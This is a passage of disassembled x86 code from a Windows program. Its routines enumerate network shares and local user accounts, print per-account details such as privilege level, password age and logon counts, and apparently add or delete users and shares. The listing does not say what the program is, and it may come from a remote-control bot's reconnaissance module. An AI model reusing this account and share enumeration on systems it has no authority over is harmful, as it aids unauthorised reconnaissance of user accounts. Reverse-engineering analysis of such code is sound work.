arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DA89
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DA89
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418C50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DA89
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43EA24
		pop	edi
		leave
		retn
sub_40DA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA89	proc near		; CODE XREF: sub_40DA1E+Ap
					; sub_40DA1E+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DA96
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40DA96:				; CODE XREF: sub_40DA89+9j
		push	ebx
		push	esi
		mov	esi, dword_423070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4182F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DA89	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DACA	proc near		; CODE XREF: sub_40D8F8+20p
					; sub_415CC2+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DA89
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DA89
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43E9FC
		pop	esi
		retn
sub_40DACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAED	proc near		; CODE XREF: sub_40EC43+20D9p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DA89
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 18h

loc_40DB26:				; CODE XREF: sub_40DAED+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43EA70
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DB89
		cmp	ebx, 0EAh
		jz	short loc_40DB89
		push	ebx
		push	ebx
		call	sub_40E298
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42E248
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 24h
		jmp	short loc_40DBF6
; ---------------------------------------------------------------------------

loc_40DB89:				; CODE XREF: sub_40DAED+5Dj
					; sub_40DAED+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DBED
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_40DB97:				; CODE XREF: sub_40DAED+FCj
		push	dword ptr [esi+10h]
		call	dword_43EA18	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DBAE
		mov	eax, offset aNo	; "No"

loc_40DBAE:				; CODE XREF: sub_40DAED+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DB97
		xor	esi, esi

loc_40DBED:				; CODE XREF: sub_40DAED+A2j
		push	[ebp+var_4]
		call	dword_43EBB4

loc_40DBF6:				; CODE XREF: sub_40DAED+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DB26
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DAED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC0E	proc near		; CODE XREF: sub_40EC43:loc_410D8Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DCB2
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DC50
		dec	eax
		jz	short loc_40DC45
		dec	eax
		jnz	short loc_40DC6B
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DD54
		add	esp, 14h
		jmp	short loc_40DC67
; ---------------------------------------------------------------------------

loc_40DC45:				; CODE XREF: sub_40DC0E+1Dj
		push	ebx
		push	edi
		call	sub_40DD33
		pop	ecx
		pop	ecx
		jmp	short loc_40DC67
; ---------------------------------------------------------------------------

loc_40DC50:				; CODE XREF: sub_40DC0E+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DC64
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DCD9
		add	esp, 0Ch
		jmp	short loc_40DC67
; ---------------------------------------------------------------------------

loc_40DC64:				; CODE XREF: sub_40DC0E+45j
		push	57h
		pop	eax

loc_40DC67:				; CODE XREF: sub_40DC0E+35j
					; sub_40DC0E+40j ...
		cmp	eax, edi
		jnz	short loc_40DC8B

loc_40DC6B:				; CODE XREF: sub_40DC0E+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4433E8
		push	off_42DAEC[eax*4]
		push	offset dword_42E32C
		push	esi
		call	sub_416FB6
		add	esp, 10h
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------

loc_40DC8B:				; CODE XREF: sub_40DC0E+5Bj
		push	eax
		call	sub_40E298
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4433E8
		push	off_42DAE8[eax*4]
		push	offset dword_42E2F0
		push	esi
		call	sub_416FB6
		add	esp, 18h
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------

loc_40DCB2:				; CODE XREF: sub_40DC0E+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4433E8
		lea	eax, [eax+eax*2]
		push	off_42DAE8[eax*4]
		push	offset dword_42E2B8
		push	esi
		call	sub_416FB6
		add	esp, 0Ch

loc_40DCD2:				; CODE XREF: sub_40DC0E+7Bj
					; sub_40DC0E+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCD9	proc near		; CODE XREF: sub_40DC0E+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DA89
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DA89
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DA89
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43EA08
		pop	edi
		leave
		retn
sub_40DCD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DD33	proc near		; CODE XREF: sub_40DC0E+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DA89
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DA89
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43E9F8
		pop	esi
		retn
sub_40DD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD54	proc near		; CODE XREF: sub_40DC0E+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DA89
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DA89
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43EB7C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E0E1
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E11C
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_416FB6
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40DE6D
		dec	eax
		jz	short loc_40DE66
		dec	eax
		jz	short loc_40DE5F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40DE72
; ---------------------------------------------------------------------------

loc_40DE5F:				; CODE XREF: sub_40DD54+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40DE72
; ---------------------------------------------------------------------------

loc_40DE66:				; CODE XREF: sub_40DD54+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40DE72
; ---------------------------------------------------------------------------

loc_40DE6D:				; CODE XREF: sub_40DD54+FCj
		mov	eax, offset aGuest ; "Guest"

loc_40DE72:				; CODE XREF: sub_40DD54+109j
					; sub_40DD54+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D476
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E10D
; ---------------------------------------------------------------------------

loc_40E0E1:				; CODE XREF: sub_40DD54+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42E35C
		push	eax
		call	sub_416FB6
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D476
		add	esp, 20h

loc_40E10D:				; CODE XREF: sub_40DD54+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_40E11C
		push	[ebp+var_4]
		call	dword_43EBB4

loc_40E11C:				; CODE XREF: sub_40DD54+40j
					; sub_40DD54+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DD54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E122	proc near		; CODE XREF: sub_40EC43+2175p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DA89
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 18h

loc_40E161:				; CODE XREF: sub_40E122+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43EA8C
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E1C2
		cmp	eax, 0EAh
		jz	short loc_40E1C2
		push	eax
		push	eax
		call	sub_40E298
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42E56C
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 24h
		jmp	short loc_40E233
; ---------------------------------------------------------------------------

loc_40E1C2:				; CODE XREF: sub_40E122+62j
					; sub_40E122+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E246
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E233

loc_40E1D0:				; CODE XREF: sub_40E122+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_40E20F
		push	dword ptr [edi]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E1D0
		jmp	short loc_40E233
; ---------------------------------------------------------------------------

loc_40E20F:				; CODE XREF: sub_40E122+B6j
		push	offset dword_42E528
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 1Ch

loc_40E233:				; CODE XREF: sub_40E122+9Ej
					; sub_40E122+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E246
		push	edi
		call	dword_43EBB4
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_40E246:				; CODE XREF: sub_40E122+A5j
					; sub_40E122+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E161
		cmp	edi, esi
		jz	short loc_40E25E
		push	edi
		call	dword_43EBB4

loc_40E25E:				; CODE XREF: sub_40E122+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E122	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E298	proc near		; CODE XREF: sub_40D8F8+41p
					; sub_40DAED+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E34A
		jz	loc_40E343
		cmp	eax, 7Bh
		ja	short loc_40E30F
		jz	short loc_40E305
		cmp	eax, 5
		jz	short loc_40E2FB
		cmp	eax, 8
		jz	short loc_40E2F1
		cmp	eax, 32h
		jz	short loc_40E2E7
		cmp	eax, 35h
		jz	short loc_40E2DD
		cmp	eax, 57h
		jnz	loc_40E399
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E2DD:				; CODE XREF: sub_40E298+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E2E7:				; CODE XREF: sub_40E298+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E2F1:				; CODE XREF: sub_40E298+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E2FB:				; CODE XREF: sub_40E298+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E305:				; CODE XREF: sub_40E298+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E30F:				; CODE XREF: sub_40E298+1Aj
		sub	eax, 7Ch
		jz	short loc_40E33C
		sub	eax, 7C8h
		jz	short loc_40E335
		dec	eax
		jz	short loc_40E32B
		dec	eax
		jnz	short loc_40E399
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E32B:				; CODE XREF: sub_40E298+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E335:				; CODE XREF: sub_40E298+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E33C:				; CODE XREF: sub_40E298+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E343:				; CODE XREF: sub_40E298+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E34A:				; CODE XREF: sub_40E298+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E383
		jz	short loc_40E37C
		sub	eax, 8ADh
		jz	short loc_40E3AE
		dec	eax
		dec	eax
		jz	short loc_40E375
		dec	eax
		jz	short loc_40E36E
		dec	eax
		dec	eax
		jnz	short loc_40E399
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E36E:				; CODE XREF: sub_40E298+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E375:				; CODE XREF: sub_40E298+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E37C:				; CODE XREF: sub_40E298+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E383:				; CODE XREF: sub_40E298+B9j
		sub	eax, 8CAh
		jz	short loc_40E3B5
		sub	eax, 17h
		jz	short loc_40E3AE
		sub	eax, 25h
		jz	short loc_40E3A7
		sub	eax, 29h
		jz	short loc_40E3A0

loc_40E399:				; CODE XREF: sub_40E298+35j
					; sub_40E298+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E3A0:				; CODE XREF: sub_40E298+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E3A7:				; CODE XREF: sub_40E298+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E3AE:				; CODE XREF: sub_40E298+C2j
					; sub_40E298+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E3BA
; ---------------------------------------------------------------------------

loc_40E3B5:				; CODE XREF: sub_40E298+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_40E3BA:				; CODE XREF: sub_40E298+40j
					; sub_40E298+4Aj ...
		push	offset dword_443180
		call	sub_416FB6
		pop	ecx
		mov	eax, offset dword_443180
		pop	ecx
		retn
sub_40E298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3CC	proc near		; CODE XREF: sub_40EC43+21BAp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4196B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_423154	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4196B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41969C
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43EB34
		test	eax, eax
		jnz	short loc_40E45C
		mov	esi, offset dword_442F78
		push	offset dword_42E8C0
		push	esi
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	short loc_40E485
; ---------------------------------------------------------------------------

loc_40E45C:				; CODE XREF: sub_40E3CC+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E298
		pop	ecx
		mov	esi, offset dword_442F78
		push	eax
		push	offset dword_42E888
		push	esi
		call	sub_416FB6
		add	esp, 14h

loc_40E485:				; CODE XREF: sub_40E3CC+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E3CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E48A	proc near		; CODE XREF: sub_4198E4+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
